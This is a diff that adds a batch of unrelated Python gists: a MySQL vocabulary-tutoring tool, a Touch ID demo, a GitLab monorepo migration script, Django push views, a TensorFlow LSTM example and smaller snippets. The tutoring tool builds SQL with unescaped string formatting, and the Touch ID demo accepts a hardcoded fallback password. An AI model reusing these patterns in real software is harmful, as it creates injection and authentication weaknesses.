+                                        defi_uni = unicode(defi.childNodes[0].nodeValue)
+                                        print defi_uni
+                                        print "Unicode error, enter the correct definition."
+                                        defi_str = raw_input(">> ")
+                                    if _defi == '':
+                                        _defi = defi_str
+                                    else:
+                                        _defi = _defi + "; " + defi_str
+                                if _pos not in ('verb phrase','idiom'):
+                                    data.append([_pos, _defi])
+                                else:
+                                    data.append([disp_word, _pos, _defi])
+                    except:
+                        print "Definition error: " + word
+                        data = []
+                    if data != []:
+                        do_command("""INSERT INTO %s (word, data) VALUES (\"%s\", \"%s\")""" % (dictionary_name, MySQLdb.escape_string(str(word)), MySQLdb.escape_string(str(data))))
+                        success += 1 # at the end, count the successes ...
+                    else:
+                        failure += 1 # ... and failures
+
+    print '' 
+    print "Successes: " + str(success) # print the stats
+    print "Failures: " + str(failure)
+    print ''
+
+    return
+
+# the main menu for admin tasks. very straightforward
+def admin_tasks(main_name):
+    while (True):
+        while (True):
+                print "Select an option."
+                print "1. Add words independently to vocab main."
+                print "2. Unlock words."
+                print "3. Unlock main database."
+                print "4. Change word spelling across databases."
+                print "5. Backup all databases (once per day)."
+                print "6. Fill-up dictionary from tables."
+                print "---"
+                print "*. Exit"
+                option = raw_input(">>")
+                if not(option in ['1','2','3','4','5','6','*']):
+                    print "Invalid selection. Enter just the number of the option you want."
+                else:
+                    break
+
+        if option == '1':
+            indep_add_words_to_main(main_name)
+        elif option == '2':
+            admin_word_unlock(main_name)
+        elif option == '3':
+            admin_main_unlock(main_name)
+        elif option == '4':
+            admin_change_word_spelling()
+        elif option == '5':
+            admin_backup_all()
+        elif option == '6':
+            admin_fillup_dict()
+        elif option == '*':
+            break
+
+        if lower(raw_input('Reload admin tasks? (y/n) > ')) != 'y':
+            break
+    return
+
+###################################################################################
+### INITIALIZATION COMMANDS
+# initialization_sequence()
+# select_student_db()
+# check_if_db_exists(name)
+# create_new_sdb(name)
+###################################################################################
+
+# this function sets up the MySQL connection
+def initialization_sequence():
+    main_name = "vocabmain" # the name of the main db of all the words and all the questions
+
+    # as I mentioned earlier, we define a bunch of these global variables so that reconnecting is easier. it's
+    # a very ugly solution, it works for now
+    global host
+    host = "www.sophosacademics.com" # our domain
+    global user
+    user = "sophos_vocuser" # the login name
+    global sophos_password
+    sophos_password = raw_input("Password: ") # the password (entered by the user)
+    global db # the variable for the name of the database we're using (we have two: sophos_vocab and sophos_vocab2, the latter is used for testing and backup)
+    if sophos_password[-2:] == 'dx': # a little shortcut i made for when we enter the password, if we add an extra x, it pre-unlocks a database (if you exited with an error)
+        db = "sophos_vocab"
+        sophos_password = sophos_password[:-1] # remove the x from the password
+        pre_unlock = True
+    elif sophos_password[-3:] == 'ddd': # another shortcut - an extra 'dd' at the end of the password switch to the alt database, for testing
+        db = 'sophos_vocab2'
+        sophos_password = sophos_password[:-2]
+        pre_unlock = False
+    else:
+        db = "sophos_vocab" # otherwise, nothing special
+        pre_unlock = False
+
+    # two variables you need for a mysql connection. conn makes the connection and cursor, which is a function of conn, let's you send commands and receive replies
+    global conn
+    global cursor
+    
+    while True:
+        try:
+            conn = MySQLdb.connect(host = host, user = user, passwd = sophos_password) # make the connection
+            cursor = conn.cursor() # create a cursor
+            break
+        except OperationalError: # if there's a problem
+            print "Probably a wrong password or no internet connection or db is down." # probably one of these two things
+            sophos_password = raw_input("Password or * to quit: ") # try again, or quit
+            if sophos_password == '*':
+                return False 
+
+    cursor.execute("SET SESSION TRANSACTION ISOLATION LEVEL READ COMMITTED") # Allow different reads based on in-moment changes
+    cursor.execute("SET SESSION WAIT_TIMEOUT = 60") # Set a longer timeout, though in fact playing with this variables doesn't seem to change much
+    cursor.execute("USE %s" % db) # sets the db
+
+    if not check_if_db_exists("vocabmain"): # should never happen
+        print "No main vocab."
+        return False
+
+    if pre_unlock: # if we're pre-unlocking, do that (note if the database is unlocked anyway, that won't make a problem)
+        admin_main_unlock(main_name)
+
+    return main_name
+
+# this function asks the user to pick which student they want to work on
+def pick_student_name():
+    row = do_command("SHOW TABLES") # get all the tables
+
+    dbs = []
+    counter = 1
+
+    # this is the list of students that are in the database but that are not currently active. whenever a student
+    # finishes or leaves the program, they can be added here. if they come back to the program for some reason later
+    # just remove them from this list. this should really be added to the database itself
+    deprec_stud = []
+
+    # this makes a list of all the selectable students, using a mechanism that should be familiar by now
+    print "Current students:"
+    for db in row:
+        # below we make sure we're not listing the vocabmain, or any passive dbs, or any backups or anything else like that
+        if str(db[0])!='vocabmain' and str(db[0][-7:])!='passive' and str(db[0][:6])!='backup' and str(db[0][0])!='*' and str(db[0]) not in deprec_stud:
+            print str(counter) + '. ' + str(db[0])
+            dbs.append(str(db[0]))
+            counter+=1
+
+    # gets the user input
+    while True:
+        db_name = raw_input('Enter student\'s number, @ for new student or * to quit. ')
+        if db_name == '@': # here the user is asking to make a new student
+            while True:
+                new_name = raw_input('Enter the new student\'s name or * to quit. ') # enter the student's name
+                if new_name in dbs or new_name == 'vocabmain' or new_name[-7:]=='passive': # if the name matches some bad criteria
+                    print 'That name already exists or is illegal.' # don't allow it
+                    continue
+                if new_name == '*': # otherwise leave
+                    return False
+                else: # if we're not leaving and the name is right
+                    create_new_sdb(new_name) # add the new student
+                    return new_name # that's the student we're picking
+        if db_name == '*': # if you want to quit
+            return False
+        try: # if you selected a number
+            if int(db_name) in range(1,len(dbs)+1): # check that the number is a valid choice
+                db_name = dbs[int(db_name)-1] # get the name associated with that number
+                return db_name # return the name
+        except ValueError: # otherwise, we have problem, try again
+            print "Not a valid choice."
+            continue
+
+# this function checks if a particular database already exists (i.e. if you want to make sure you're not overwriting)    
+def check_if_db_exists(name):
+    row = do_command("SHOW TABLES")     # get all the tables
+    for db in row:                      # go through each one
+        if name == str(db[0]):          # if it matches
+            return True                 # then it matches
+    return False                        # otherwise, it don't
+
+# this function goes through the steps of adding a new student database
+def create_new_sdb(name):
+    do_command("""CREATE TABLE %s (word CHAR(60), data TEXT, lockvar CHAR(60) )""" % name) ### Create the student active db
+    do_command("""INSERT INTO %s (word, data, lockvar) VALUES ('__lockvar__', 'False', 'False')""" % name) # Insert the lockvar (not used currently)
+    do_command("""INSERT INTO %s (word, data, lockvar) VALUES ('-----mtestcounter-----', \"['0']\", 'False')""" % name) # Insert test counters
+    do_command("""INSERT INTO %s (word, data, lockvar) VALUES ('-----stestcounter-----', \"['0']\", 'False')""" % name) # for each type of test
+    do_command("""INSERT INTO %s (word, data, lockvar) VALUES ('-----dtestcounter-----', \"['0']\", 'False')""" % name) # ...
+    do_command("""INSERT INTO %s (word, data, lockvar) VALUES ('-----wtestcounter-----', \"['0']\", 'False')""" % name) # ...
+    p_name = name + 'passive' # make the name of the passive database for the student
+    do_command("""CREATE TABLE %s (word CHAR(60), data TEXT, lockvar CHAR(60) )""" % p_name) ### Create the student passive db
+    do_command("""INSERT INTO %s (word, data, lockvar) VALUES ('__lockvar__', 'False', 'False')""" % p_name) ### Insert the lockvar
+    do_command("""INSERT INTO %s (word, data, lockvar) VALUES ('-----ptestcounter-----', \"['0']\", 'False')""" % p_name) ### Insert test counters
+    return name
+
+###################################################################################
+### RUNNING THE PROGRAM
+# run_program()
+###################################################################################
+
+# the function that handles the startup sequence
+def run_program():
+    main_name = initialization_sequence() # makes the MySQL connection
+    if not main_name: # if there was an error, quit
+        return
+
+    if locked(main_name): # check if the database is locked. if it is..
+        print "Database in use. Please try again later." # tell the user
+        leave = raw_input("Hit enter to quit, * to go to admin. ") # they can either quit or go to the admin to unlock it
+        if leave == '*': # if *...
+            admin_tasks(main_name) # go to admin
+            if locked(main_name): # check if it still locked after the admin
+                return # if yes, quit
+            else: # otherwise..
+                if db == "sophos_vocab": # if we're using the primary db, not the alternate
+                    lock_dbase(main_name) # lock it
+        else: # if they don't go to admin
+            return # quit
+    else: # if the database isn't locked
+        if db == "sophos_vocab": # and we're using the primary db
+            lock_dbase(main_name) # lock it
+            pass
+
+    # get the student name
+    student_name = pick_student_name()
+    if not student_name: # if the user wanted to quit
+        unlock_dbase(main_name) # unlock the db before quitting
+        return
+
+    # present the main options menu
+    while (True):
+        while (True):
+            print ""
+            print "Select an option. (Student: " + get_student_fullname(student_name) + ")"
+            print "-----------------------------------"
+            print "1. Create a passive assignment from a text file."
+            print "2. Generate an active testing sheet."
+            print "3. Upload an active testing sheet."
+            print "4. Upload a grading sheet."
+            print "-----------------------------------"
+            print "a. Delete a list of words from active list."
+            print "b. Upload a null grading sheet."
+            print "-----------------------------------"
+            print "A. Upload words to active list. (word/yyyymmdd/source)"
+            print "B. Upload words to passive list. (word/yyyymmdd/source)"
+            print "C. Generate a passive testing sheet." 
+            print "D. Upload a passive testing sheet"
+            print "E. Download an answer fill-in sheet." 
+            print "F. Upload answer fill-in sheet." 
+            print "-----------------------------------"
+            print "@. Switch student"
+            print "!. Admin tasks"
+            print "*. Exit"
+            print "-----------------------------------"
+            option = raw_input(">>")
+            if not(option in ['1','2','3','4','a','b','A','B','C','D','E','F','@','!','*']):
+                print "Invalid selection. Enter just the number of the option you want."
+            else:
+                break
+
+        # the four main functions
+        if option == '1':
+            passive_sheet_name = text_active_one_shot(student_name, main_name)
+            if passive_sheet_name != False: # if there wasn't an error...
+                try:
+                    os.remove(passive_sheet_name) # ...remove the passive_sheet file
+                except WindowsError: # unless it's open (unlikely, since the user doesn't need to open the file)
+                    print "You left the grading sheet open, so it wasn't deleted. Manually delete." 
+        elif option == '2':
+            generate_testing_sheet(student_name, main_name)
+        elif option == '3':
+            testsheet_name = intake_testing_sheet(student_name, main_name)
+            if testsheet_name != False:
+                try:
+                    os.remove(testsheet_name) # same as above, remove the testsheet file if it's not open
+                except WindowsError:
+                    print "You left the grading sheet open, so it wasn't deleted. Manually delete." 
+        elif option == '4':
+            grader_name = intake_grading_sheet(student_name, main_name)
+            if grader_name != False:
+                try:
+                    os.remove(grader_name) # ibid
+                except WindowsError:
+                    print "You left the grading sheet open, so it wasn't deleted. Manually delete."
+
+        # two ancillary functions
+        elif option == 'a':
+            delete_active_words(student_name)
+        elif option == 'b':
+            grader_name = intake_null_grading_sheet(student_name, main_name)
+            if grader_name != False: # if there wasn't an error
+                try: # delete the grader file
+                    os.remove(grader_name)
+                except WindowsError: # unless it's open
+                    print "You left the grading sheet open, so it wasn't deleted. Manually delete."     
+
+        # list of the essentially deprecated functions. nothing special here
+        elif option == 'A':
+            upload_to_sdb(student_name, main_name)
+        elif option == 'B':
+            upload_to_sdb_passive(student_name, main_name)            
+        elif option == 'C':
+            generate_passive_sheet(student_name, main_name)
+        elif option == 'D':
+            intake_passive_sheet(student_name, main_name)
+        elif option == 'E':
+            download_answer_sheet(student_name, main_name)
+        elif option == 'F':
+            upload_answer_sheet(main_name)
+
+        # let's the user pick a new student name
+        elif option == '@':
+            student_name = pick_student_name()
+            if not student_name: # or quit if none is chosen
+                unlock_dbase(main_name)
+                return
+        elif option == '!': # loads the admin tasks
+            admin_tasks(main_name)
+        elif option == '*': # quits
+            break
+
+    # once we quit, unlock the db
+    unlock_dbase(main_name)
+    
+    try: # try closing the connection
+        conn.close()
+    except ProgrammingError: # though sometimes the connection won't close
+        pass # in which case, cry
+
+    return
+
+# this runs the program
+if __name__ == '__main__':
+    run_program()
+    print "Successful exit."
diff --git a/hard-gists/b0c075cfde406280cbf7/._snippet.py b/hard-gists/b0c075cfde406280cbf7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b0c075cfde406280cbf7/._snippet.py differ
diff --git a/hard-gists/b0c075cfde406280cbf7/snippet.py b/hard-gists/b0c075cfde406280cbf7/snippet.py
new file mode 100644
index 00000000..23e26db9
--- /dev/null
+++ b/hard-gists/b0c075cfde406280cbf7/snippet.py
@@ -0,0 +1,28 @@
+# coding: utf-8
+from objc_util import * 
+
+ObjCClass('NSBundle').bundleWithPath_('/System/Library/Frameworks/LocalAuthentication.framework').load()
+context = ObjCClass('LAContext').alloc().init()
+policy = 1 #put 1 if you want to auth with password, 2 with passcode
+reason = 'We need you fingerprint to ste...ehm... to log you in'
+
+def funct(_cmd,success,error):
+	if success:
+		print 'Autenticated!'
+	else:
+		autherr= ObjCInstance(error).localizedDescription()
+		
+		if str(autherr).startswith('Fallback'):
+			if console.input_alert('Password') == 'Itsme':
+				print 'Authenticated!'
+			else:
+				print 'WRONG PSW'
+		if str(autherr).startswith('Application retry'):
+			print('Wrong Fingerprint!')
+		if str(autherr).startswith('Biometry'):
+			print('Too many wrong fingerprints!!')
+		else:
+			print autherr
+
+handler=ObjCBlock(funct,restype=None,argtypes=[c_void_p,c_void_p,c_void_p])
+context.evaluatePolicy_localizedReason_reply_(policy,reason,handler)
\ No newline at end of file
diff --git a/hard-gists/b0e95087771dbefa386f/._snippet.py b/hard-gists/b0e95087771dbefa386f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b0e95087771dbefa386f/._snippet.py differ
diff --git a/hard-gists/b0e95087771dbefa386f/snippet.py b/hard-gists/b0e95087771dbefa386f/snippet.py
new file mode 100644
index 00000000..dc8da71a
--- /dev/null
+++ b/hard-gists/b0e95087771dbefa386f/snippet.py
@@ -0,0 +1,113 @@
+#!/usr/bin/env python2.7
+from __future__ import print_function
+import commands
+import os
+import stat
+
+from gitlab import Gitlab
+
+def get_clone_commands(token, repo_root):
+    con = Gitlab("http://gitlab.your.domain", token)
+    con.auth()
+
+    for project in con.Project(per_page=200):
+        url = project.ssh_url_to_repo
+
+        subdir = url.split(":")[1].split("/")[0]
+        cmd = "bash -c '(mkdir -p {repo_root}/{subdir} && cd {repo_root}/{subdir} && git clone {url})'".format(**locals())
+        yield cmd
+
+def restructure_repos(repo_root):
+    cmd = r"""
+    #!/bin/sh
+    cd {repo_root}/{subdir}
+    git filter-branch --index-filter \
+            'git ls-files -s | sed "s%\t\"*%&{prefix}/%" |
+                    GIT_INDEX_FILE=$GIT_INDEX_FILE.new \
+                            git update-index --index-info &&
+             mv "$GIT_INDEX_FILE.new" "$GIT_INDEX_FILE"' HEAD
+    """.strip()
+
+    repo_root = os.path.abspath(repo_root)
+    for entry in os.walk(repo_root):
+        dir = entry[0]
+        subdir = os.path.relpath(dir, repo_root)
+        if len(subdir.split("/")) != 2:
+            continue
+        repo = subdir.replace(".git", "")
+
+        yield cmd.format(repo_root=repo_root, prefix=repo, subdir=subdir)
+
+
+def get_branches(dir):
+    output = commands.getoutput("(cd {dir} && git branch -a)".format(dir=dir))
+    branches = [b.strip().replace("* ", "") for b in output.strip().split("\n")]
+    return branches
+
+def integrate_repos(repo_root, monorepo):
+    cmd = r"""
+#!/bin/sh
+cd {monorepo}
+git remote add -f {alias} {dir}
+git pull --no-edit {alias} {branch}
+""".strip()
+
+    repo_root = os.path.abspath(repo_root)
+    for entry in os.walk(repo_root):
+        dir = entry[0]
+        subdir = os.path.relpath(dir, repo_root)
+        if len(subdir.split("/")) != 2:
+            continue
+        repo = subdir.replace(".git", ""    )
+        alias = repo.replace("/", "-")
+
+        for branch in get_branches(dir):
+            if branch != "main":
+                continue
+            if branch == "main":
+                monobranch = "main"
+            else:
+                monobranch = "{alias}-{branch}".format(alias=alias, branch=branch)
+            yield cmd.format(branch=branch, monobranch=monobranch, monorepo=monorepo, alias=alias, repo_root=repo_root, prefix=repo, subdir=subdir, dir=dir, repo=repo)
+
+def make_executable(path):
+    mode = os.stat(path).st_mode
+    mode |= (mode & 0o444) >> 2    # copy R bits to X
+    os.chmod(path, mode)
+
+def execute_script(cmd):
+    script_name = "/tmp/cmd"
+    with open(script_name, "w") as f:
+        f.write(cmd)
+    make_executable(script_name)
+    return os.system(script_name)
+
+
+def main():
+    WORKDIR = "/tmp/repo"
+    os.system("rm -fr {}".format(WORKDIR))
+
+    REPO_ROOT = os.path.join(WORKDIR, "repos")
+    os.system("mkdir -p {}".format(REPO_ROOT))
+
+    for cmd in get_clone_commands("YOUR_GITLAB_TOKEN", REPO_ROOT):
+        rc = os.system(cmd)
+        assert rc == 0
+
+    for cmd in restructure_repos(REPO_ROOT):
+        print(cmd)
+        rc = execute_script(cmd)
+        assert rc == 0
+
+    MONOREPO = os.path.join(WORKDIR, "monorepo")
+    os.system("rm -fr {}".format(MONOREPO))
+    os.system("mkdir -p {}".format(MONOREPO))
+    os.system("cd {monorepo} && git init".format(monorepo=MONOREPO))
+
+    for cmd in integrate_repos(REPO_ROOT, MONOREPO):
+        print(cmd)
+        rc = execute_script(cmd)
+        assert rc == 0
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/b0eae211db963fe56c0c55773e6a16c0/._snippet.py b/hard-gists/b0eae211db963fe56c0c55773e6a16c0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b0eae211db963fe56c0c55773e6a16c0/._snippet.py differ
diff --git a/hard-gists/b0eae211db963fe56c0c55773e6a16c0/snippet.py b/hard-gists/b0eae211db963fe56c0c55773e6a16c0/snippet.py
new file mode 100644
index 00000000..e3fefd53
--- /dev/null
+++ b/hard-gists/b0eae211db963fe56c0c55773e6a16c0/snippet.py
@@ -0,0 +1,46 @@
+"""views_push.py: Views for push notifications, to register a device that would like to get push notifications."""
+
+__author__ = "Alex 'Chozabu' P-B"
+__copyright__ = "Copyright 2016, IAgree"
+
+from push_notifications.api import rest_framework
+
+from dj_represent import settings
+
+from rest_framework.response import Response
+from rest_framework import status
+
+from push_notifications.models import GCMDevice, APNSDevice
+
+
+class APNSDeviceAuthorizedViewSet(rest_framework.APNSDeviceAuthorizedViewSet):
+
+	def create(self, request, *args, **kwargs):
+		serializer = None
+		if settings.DPN_auto_update_matching_reg_id:
+			instance = APNSDevice.objects.filter(registration_id=request.data['registration_id']).first()
+			if instance:
+				serializer = self.get_serializer(instance, data=request.data)
+		if not serializer:
+			serializer = self.get_serializer(data=request.data)
+
+		serializer.is_valid(raise_exception=True)
+		self.perform_create(serializer)
+		headers = self.get_success_headers(serializer.data)
+		return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)
+
+class GCMDeviceAuthorizedViewSet(rest_framework.GCMDeviceAuthorizedViewSet):
+
+	def create(self, request, *args, **kwargs):
+		serializer = None
+		if settings.DPN_auto_update_matching_reg_id:
+			instance = GCMDevice.objects.filter(registration_id=request.data['registration_id']).first()
+			if instance:
+				serializer = self.get_serializer(instance, data=request.data)
+		if not serializer:
+			serializer = self.get_serializer(data=request.data)
+
+		serializer.is_valid(raise_exception=True)
+		self.perform_create(serializer)
+		headers = self.get_success_headers(serializer.data)
+		return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)
diff --git a/hard-gists/b18ce332bde37e156034e5d3f60f8a23/._snippet.py b/hard-gists/b18ce332bde37e156034e5d3f60f8a23/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b18ce332bde37e156034e5d3f60f8a23/._snippet.py differ
diff --git a/hard-gists/b18ce332bde37e156034e5d3f60f8a23/snippet.py b/hard-gists/b18ce332bde37e156034e5d3f60f8a23/snippet.py
new file mode 100644
index 00000000..faf307f7
--- /dev/null
+++ b/hard-gists/b18ce332bde37e156034e5d3f60f8a23/snippet.py
@@ -0,0 +1,177 @@
+"""Short and sweet LSTM implementation in Tensorflow.
+
+Motivation:
+When Tensorflow was released, adding RNNs was a bit of a hack - it required
+building separate graphs for every number of timesteps and was a bit obscure
+to use. Since then TF devs added things like `dynamic_rnn`, `scan` and `map_fn`.
+Currently the APIs are decent, but all the tutorials that I am aware of are not
+making the best use of the new APIs.
+
+Advantages of this implementation:
+- No need to specify number of timesteps ahead of time. Number of timesteps is
+  infered from shape of input tensor. Can use the same graph for multiple
+  different numbers of timesteps.
+- No need to specify batch size ahead of time. Batch size is infered from shape
+  of input tensor. Can use the same graph for multiple different batch sizes.
+- Easy to swap out different recurrent gadgets (RNN, LSTM, GRU, your new
+  creative idea)
+"""
+
+
+import numpy as np
+import random
+import tensorflow as tf
+import tensorflow.contrib.layers as layers
+
+map_fn = tf.python.functional_ops.map_fn
+
+################################################################################
+##                           DATASET GENERATION                               ##
+##                                                                            ##
+##  The problem we are trying to solve is adding two binary numbers. The      ##
+##  numbers are reversed, so that the state of RNN can add the numbers        ##
+##  perfectly provided it can learn to store carry in the state. Timestep t   ##
+##  corresponds to bit len(number) - t.                                       ##
+################################################################################
+
+def as_bytes(num, final_size):
+    res = []
+    for _ in range(final_size):
+        res.append(num % 2)
+        num //= 2
+    return res
+
+def generate_example(num_bits):
+    a = random.randint(0, 2**(num_bits - 1) - 1)
+    b = random.randint(0, 2**(num_bits - 1) - 1)
+    res = a + b
+    return (as_bytes(a,  num_bits),
+            as_bytes(b,  num_bits),
+            as_bytes(res,num_bits))
+
+def generate_batch(num_bits, batch_size):
+    """Generates instance of a problem.
+
+    Returns
+    -------
+    x: np.array
+        two numbers to be added represented by bits.
+        shape: b, i, n
+        where:
+            b is bit index from the end
+            i is example idx in batch
+            n is one of [0,1] depending for first and
+                second summand respectively
+    y: np.array
+        the result of the addition
+        shape: b, i, n
+        where:
+            b is bit index from the end
+            i is example idx in batch
+            n is always 0
+    """
+    x = np.empty((num_bits, batch_size, 2))
+    y = np.empty((num_bits, batch_size, 1))
+
+    for i in range(batch_size):
+        a, b, r = generate_example(num_bits)
+        x[:, i, 0] = a
+        x[:, i, 1] = b
+        y[:, i, 0] = r
+    return x, y
+
+
+################################################################################
+##                           GRAPH DEFINITION                                 ##
+################################################################################
+
+INPUT_SIZE    = 2       # 2 bits per timestep
+RNN_HIDDEN    = 20
+OUTPUT_SIZE   = 1       # 1 bit per timestep
+TINY          = 1e-6    # to avoid NaNs in logs
+LEARNING_RATE = 0.01
+
+USE_LSTM = True
+
+inputs  = tf.placeholder(tf.float32, (None, None, INPUT_SIZE))  # (time, batch, in)
+outputs = tf.placeholder(tf.float32, (None, None, OUTPUT_SIZE)) # (time, batch, out)
+
+
+## Here cell can be any function you want, provided it has two attributes:
+#     - cell.zero_state(batch_size, dtype)- tensor which is an initial value
+#                                           for state in __call__
+#     - cell.__call__(input, state) - function that given input and previous
+#                                     state returns tuple (output, state) where
+#                                     state is the state passed to the next
+#                                     timestep and output is the tensor used
+#                                     for infering the output at timestep. For
+#                                     example for LSTM, output is just hidden,
+#                                     but state is memory + hidden
+# Example LSTM cell with learnable zero_state can be found here:
+#    https://gist.github.com/nivwusquorum/160d5cf7e1e82c21fad3ebf04f039317
+if USE_LSTM:
+    cell = tf.nn.rnn_cell.BasicLSTMCell(RNN_HIDDEN, state_is_tuple=True)
+else:
+    cell = tf.nn.rnn_cell.BasicRNNCell(RNN_HIDDEN)
+
+# Create initial state. Here it is just a constant tensor filled with zeros,
+# but in principle it could be a learnable parameter. This is a bit tricky
+# to do for LSTM's tuple state, but can be achieved by creating two vector
+# Variables, which are then tiled along batch dimension and grouped into tuple.
+batch_size    = tf.shape(inputs)[1]
+initial_state = cell.zero_state(batch_size, tf.float32)
+
+# Given inputs (time, batch, input_size) outputs a tuple
+#  - outputs: (time, batch, output_size)  [do not mistake with OUTPUT_SIZE]
+#  - states:  (time, batch, hidden_size)
+rnn_outputs, rnn_states = tf.nn.dynamic_rnn(cell, inputs, initial_state=initial_state, time_major=True)
+
+# project output from rnn output size to OUTPUT_SIZE. Sometimes it is worth adding
+# an extra layer here.
+final_projection = lambda x: layers.linear(x, num_outputs=OUTPUT_SIZE, activation_fn=tf.nn.sigmoid)
+
+# apply projection to every timestep.
+predicted_outputs = map_fn(final_projection, rnn_outputs)
+
+# compute elementwise cross entropy.
+error = -(outputs * tf.log(predicted_outputs + TINY) + (1.0 - outputs) * tf.log(1.0 - predicted_outputs + TINY))
+error = tf.reduce_mean(error)
+
+# optimize
+train_fn = tf.train.AdamOptimizer(learning_rate=LEARNING_RATE).minimize(error)
+
+# assuming that absolute difference between output and correct answer is 0.5
+# or less we can round it to the correct output.
+accuracy = tf.reduce_mean(tf.cast(tf.abs(outputs - predicted_outputs) < 0.5, tf.float32))
+
+
+################################################################################
+##                           TRAINING LOOP                                    ##
+################################################################################
+
+NUM_BITS = 10
+ITERATIONS_PER_EPOCH = 100
+BATCH_SIZE = 16
+
+valid_x, valid_y = generate_batch(num_bits=NUM_BITS, batch_size=100)
+
+session = tf.Session()
+# For some reason it is our job to do this:
+session.run(tf.initialize_all_variables())
+
+for epoch in range(1000):
+    epoch_error = 0
+    for _ in range(ITERATIONS_PER_EPOCH):
+        # here train_fn is what triggers backprop. error and accuracy on their
+        # own do not trigger the backprop.
+        x, y = generate_batch(num_bits=NUM_BITS, batch_size=BATCH_SIZE)
+        epoch_error += session.run([error, train_fn], {
+            inputs: x,
+            outputs: y,
+        })[0]
+    epoch_error /= ITERATIONS_PER_EPOCH
+    valid_accuracy = session.run(accuracy, {
+        inputs:  valid_x,
+        outputs: valid_y,
+    })
+    print "Epoch %d, train error: %.2f, valid accuracy: %.1f %%" % (epoch, epoch_error, valid_accuracy * 100.0)
diff --git a/hard-gists/b19bb35f5484af5d7622/._snippet.py b/hard-gists/b19bb35f5484af5d7622/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b19bb35f5484af5d7622/._snippet.py differ
diff --git a/hard-gists/b19bb35f5484af5d7622/snippet.py b/hard-gists/b19bb35f5484af5d7622/snippet.py
new file mode 100644
index 00000000..2dab99da
--- /dev/null
+++ b/hard-gists/b19bb35f5484af5d7622/snippet.py
@@ -0,0 +1,48 @@
+import PySide.QtCore as QtCore
+import PySide.QtGui as QtGui
+from nukescripts import panels
+
+class PanelTest(QtGui.QWidget):
+    def __init__(self, parent=None):
+        QtGui.QWidget.__init__(self, parent)
+        self.setLayout(QtGui.QVBoxLayout())
+        self.myTable    = QtGui.QTableWidget()
+        self.myTable.header = ['Date', 'Files', 'Size', 'Path' ]
+        self.myTable.size = [ 75, 375, 85, 600 ]
+        self.myTable.setColumnCount(len(self.myTable.header))
+        self.myTable.setHorizontalHeaderLabels(self.myTable.header)
+        self.myTable.setSelectionMode(QtGui.QTableView.ExtendedSelection)
+        self.myTable.setSelectionBehavior(QtGui.QTableView.SelectRows)
+        self.myTable.setSortingEnabled(1)
+        self.myTable.sortByColumn(1, QtCore.Qt.DescendingOrder)
+        self.myTable.setAlternatingRowColors(True)
+
+        self.myTable.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
+        self.myTable.setRowCount(50)
+        self.layout().addWidget(self.myTable)
+
+        self.myTable.setSizePolicy(QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding))
+        self.setSizePolicy(QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding))
+
+        def closeEvent():
+            print 'Closed PanelTest'
+
+class mainPanel(QtGui.QWidget):
+    def __init__(self):
+        QtGui.QWidget.__init__(self)
+        self.testBtn = QtGui.QPushButton()
+        self.setLayout( QtGui.QVBoxLayout() )
+        self.layout().addWidget( self.testBtn )
+        self.testBtn.clicked.connect(self.createPanel)
+        self.setSizePolicy( QtGui.QSizePolicy( QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding))
+
+    def closeEvent():
+        print 'Closed mainPanel'
+
+    def createPanel(self):
+        pane = nuke.getPaneFor("example.test.panel")
+        print pane
+        panels.registerWidgetAsPanel('PanelTest', 'PanelTest',"example.test.panel", True).addToPane(pane)
+
+mp = mainPanel()
+mp.createPanel()
\ No newline at end of file
diff --git a/hard-gists/b1d181802fac750f0cc1/._snippet.py b/hard-gists/b1d181802fac750f0cc1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b1d181802fac750f0cc1/._snippet.py differ
diff --git a/hard-gists/b1d181802fac750f0cc1/snippet.py b/hard-gists/b1d181802fac750f0cc1/snippet.py
new file mode 100644
index 00000000..ceb022dd
--- /dev/null
+++ b/hard-gists/b1d181802fac750f0cc1/snippet.py
@@ -0,0 +1,13 @@
+import os 
+from pyramid.config import Configurator
+
+
+def main(global_config, **settings):
+    settings = {k: os.path.expandvars(v) for k, v in settings.items()}
+    config = Configurator(settings=settings)
+    config.include(__name__)
+    return config.make_wsgi_app()
+
+
+def includeme(config):
+    pass
\ No newline at end of file
diff --git a/hard-gists/b1ef03dd21e7a3016161/._snippet.py b/hard-gists/b1ef03dd21e7a3016161/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b1ef03dd21e7a3016161/._snippet.py differ
diff --git a/hard-gists/b1ef03dd21e7a3016161/snippet.py b/hard-gists/b1ef03dd21e7a3016161/snippet.py
new file mode 100644
index 00000000..ae78995a
--- /dev/null
+++ b/hard-gists/b1ef03dd21e7a3016161/snippet.py
@@ -0,0 +1,199 @@
+#!/usr/bin/env python
+"""
+
+Sample call:
+python synapse_galaxy_sync.py <api_key> <api_url> syn12345
+
+NOTE:  The upload method used requires the data library filesystem upload allow_library_path_paste
+"""
+import os
+import shutil
+import sys
+import re
+import json
+import time
+import requests
+import synapseclient
+
+    
+class RemoteGalaxy(object):
+
+    def __init__(self, url, api_key):
+        self.url = url
+        self.api_key = api_key
+
+    def get(self, path):
+        c_url = self.url + path
+        params = {}
+        params['key'] = self.api_key
+        req = requests.get(c_url, params=params)
+        return req.json()
+
+    def post(self, path, payload):
+        c_url = self.url + path
+        params = {}
+        params['key'] = self.api_key
+        print "POSTING", c_url, json.dumps(payload)
+        req = requests.post(c_url, data=json.dumps(payload), params=params, headers = {'Content-Type': 'application/json'} )
+        return req.json()
+
+    def post_text(self, path, payload, params=None):
+        c_url = self.url + path
+        if params is None:
+            params = {}
+        params['key'] = self.api_key
+        print "POSTING", c_url, json.dumps(payload)
+        req = requests.post(c_url, data=json.dumps(payload), params=params, headers = {'Content-Type': 'application/json'} )
